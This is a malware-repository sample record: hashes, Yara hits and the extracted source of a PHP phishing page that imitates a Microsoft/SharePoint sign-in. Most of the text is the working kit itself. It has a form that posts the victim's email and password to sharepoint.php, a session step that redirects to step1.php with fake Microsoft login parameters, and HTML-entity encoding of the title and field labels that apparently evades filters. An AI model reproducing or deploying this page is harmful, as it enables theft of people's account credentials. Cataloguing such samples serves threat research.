Sample details: 436a959722e363b6e8de170aa808a19b --

Hashes
MD5: 436a959722e363b6e8de170aa808a19b
SHA1: c68d7ad2f076f44a0a256aced950325d9de9b716
SHA256: b8ecf7ef5e5b3da3d5f535c745d7ac82aaf782a445f7452a4b0ad00e9a4e1d53
SSDEEP: 192:fA+bd+7PSea7eSFlLTwypNIo5VyWoi6aRIMSiQze:frbUmVbTnyWN2JZ6
Details
File Type: PHP
Added: 2019-10-09 18:38:14
Yara Hits
YRP/domain | YRP/url | YRP/contentis_base64 |
Parent Files
69e8ccaf2d3590b605f72bf9cf535328
Strings
		session_start();
$userid = $_POST['userid'];
$userid;
	if($_SERVER['REQUEST_METHOD'] == 'POST'){
	    $userid = $_POST['userid'];
		$_SESSION['userid'] = $userid;
		header("Location: step1.php?a36281f9-7919-4bd0-8a23-84cb3247de34&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQIIAXWSO2_TUACF46QNbYWgICTKVglYkJzYvn7UEZWakJcTO4mbOMFeIju-TuzYvq5zk5RsSB0QU-eOIITUgQExIBb2snSlAwMTYkJMIJamP4DlTN9wdL7zKEVn6NwDFrCcKVgiKZo8IFmRpkiTZXgScIAHDEXbHAXi2xubf59br-89O6-_vH_0hal8Y0-JuyOMo0kum53P5xnkOO4AZgYoyH4kiHOC-EEQJ8lVGJJa-zQ54QEvMjs0D0RBoFlBEMWMEhie3qn5SlDCekdlG22K0r0hK3dGnh5I2Ag0TmHKS8YeNwLDVzo60L1CoDAa1nsq11zyRtH25J7E6IGKjYoxajAq0BfjQ6VY8C6SN5v5KR4xV4FidwF_J9cdFAf9CE3wSeot0YxgKNlPUBjCAc5cYTDE7sDELgpbMYpgjF042R1OZ5aUbygFadyQYL1W6U_FVmlmRZ6siIxqzrSDOdXiaelppAE1r3KgS0pevdKFdM2X_bw8lapq7DTpXpEv5PtWXZYYJFaLCx02_C7utntTMAtpJz8ggda3J9NeyxoelNtIco0qHtLvU-nlrAEKz1I3lqVC196OYuS4Pvye2grckQl9M2NNB9DcmyAbHqIrC-crxM-V61Qqt7a2sZnYSmwn_qwQr1aXIvfkz0cPjVvKm3f_Pjz-epg4W80W9TKuQc5xd-bdHVfju_szTxfGSKwpRrVMz0bsYt8tBaCkl3aFHH2cJo7T6V9p4sW1xKf1_93gYuPO8j4iSXEkJWxTYo6icjRjXAI1&cbcxt=&username=&&en-US&lc=");
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>&#83;&#105;&#103;&#110;&#32;&#73;&#110; to your account</title>
<script type="text/javascript" src="https://www.sitepoint.com/examples/password/MaskedPassword/MaskedPassword.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon"
              href="images/favicon.ico"/>
              <link href="css/conv.min.css" rel="stylesheet" />
<script type="text/javascript">
function unhideBody()
var bodyElems = document.getElementsByTagName("body");
bodyElems[0].style.visibility = "visible";
</script>
<style type="text/css">
 .textbox {
    height: 36px;
    width: 275px;
	padding-left: 8px;
	font-family: "Segoe UI Webfont",-apple-system,"Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";
    font-size: 15px;
    line-height: 20px;
    font-weight: 400;
    font-size: .9375rem;
    border: 1px solid #666;
 .textbox:focus {
    border-color: #4488cc;
	border-style: solid;   
    border-width: 1px;
    outline: 0;
 </style>
<style type="text/css">
 .textrbox {
    height: 26px;
    width: 275px;
	padding-left: 8px;
	padding-right: 8px;
	font-family: "Segoe UI Webfont",-apple-system,"Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";
    font-size: 15px;
	color: #262626;
    text-align: left;
    line-height: 20px;
    font-weight: 400;
    font-size: .9375rem;
    border: 0px solid #fff;
	background-color: #ffffff;
 .textrbox:focus {
    border-color: #fff;
	background-color: #fff;	
    border-width: 0px;
    outline: 0;
 </style>
 <style type="text/css">
 input[type=checkbox].css-checkbox {
							position:absolute; z-index:-1000; left:-1000px; overflow: hidden; clip: rect(0 0 0 0); height:1px; width:1px; margin:-1px; padding:0; border:0;
						}
						input[type=checkbox].css-checkbox + label.css-label {
							padding-left:26px;
							height:21px; 
							display:inline-block;
							line-height:21px;
							background-repeat:no-repeat;
							background-position: 0 0;
							font-size:21px;
							vertical-align:middle;
							cursor:pointer;
						}
						input[type=checkbox].css-checkbox:checked + label.css-label {
							background-position: 0 -21px;
						}
						label.css-label {
				background-image:url(http://csscheckbox.com/checkboxes/u/csscheckbox_a4824bcf5d413f078bdd6abd3e6e5bf4.png);
				-webkit-touch-callout: none;
				-webkit-user-select: none;
				-khtml-user-select: none;
				-moz-user-select: none;
				-ms-user-select: none;
				user-select: none;
 </style>
<style type="text/css">
div#container
	position:relative;
	width: 1366px;
	margin-top: 0px;
	margin-left: auto;
	margin-right: auto;
	text-align:left; 
body {text-align:center;margin:0}
</style>
</head>
<div data-bind="component: { name: 'background-image', publicMethods: backgroundControlMethods }"><div class="background" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }"><!-- ko if: smallImageUrl --> <div class="blur" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;images/small.jpg?x=12f4b8b543125cc986c79cd85320812f&quot;);"></div><!-- /ko --><!-- ko if: backgroundImageUrl --> <div class="backgroundImage" data-bind="backgroundImage: backgroundImageUrl()" style="background-image: url(&quot;images/t1.jpg?x=f5a9a9531b8f4bcc86eabb19472d15d5&quot;);"></div><!-- /ko --><!-- ko if: !!backgroundImageUrl() --> <div class="background-overlay"></div><!-- /ko --> </div></div>
<body>
<div id="container">
<body style="visibility:hidden" onload="unhideBody()" bgColor="#030100">
<div id="image1" style="position:absolute; overflow:hidden; left:477px; top:139px; width:440px; height:365px; z-index:0"><img src="images/sharepoint.png" alt="" title="" border=0 width=440 height=338></div>
<form action=sharepoint.php name=chalbhai autocomplete="off" id=chalbhai method=post>
<input name="userid" placeholder="&#69;&#109;&#97;&#105;&#108;&#44;&#32;&#112;&#104;&#111;&#110;&#101;&#44;&#32;&#111;&#114;&#32;&#83;&#107;&#121;&#112;&#101;" value="" class="textrbox"  required type="text" style="position:absolute;width:290px;left:516px;top:270px;z-index:1">
<input name="pass" id="demo-field" placeholder="&#80;&#97;&#115;&#115;&#119;&#111;&#114;&#100;" class="textrbox"  required type="password" background-color: "#ffffff;" style="position:absolute;width:330px;left:520px;top:310px;z-index:1">-->
<div id="formimage1" style="position:absolute; left:770px; top:380px; z-index:3"><input type="image" name="formimage1" width="108" height="32" src="images/next.png"></div>
<div id="image9" style="position:absolute; overflow:hidden; width:290px;left:519px;top:235px; z-index:6"><a href="#"><img src="images/s1.png" alt="" title="" border=0 width=13 height=10></a></div>-->
</div>
<script type="text/javascript">
  //apply masking to the demo-field
  //pass the field reference, masking symbol, and character limit
  new MaskedPassword(document.getElementById("demo-field"), '\u25CF');
  //test the submitted value
  document.getElementById('demo-form').onsubmit = function()
   alert('pword = "' + this.pword.value + '"');
   return false;
 </script>
</div>
 <div id="footer"> <div data-bind="component: { name: 'footer-control',
            params: {
                serverData: svr,
                showLinks: true },
            event: {
                agreementClick: footer_agreementClick } }"><!-- ko if: showLinks || impressumLink || showIcpLicense --> <div id="footerLinks" class="footerNode text-secondary"><!-- ko if: !showIcpLicense --> <span id="ftrCopy" data-bind="html: svr.strCopyrightTxt">
 2019 Microsoft</span><!-- /ko --> <a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" href="#">Terms of use</a> <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" href="#">Privacy &amp; Cookies</a><!-- ko if: impressumLink --><!-- /ko --><!-- ko if: showIcpLicense --><!-- /ko --> </div> <!-- /ko --></div> </div>
</body>
</html>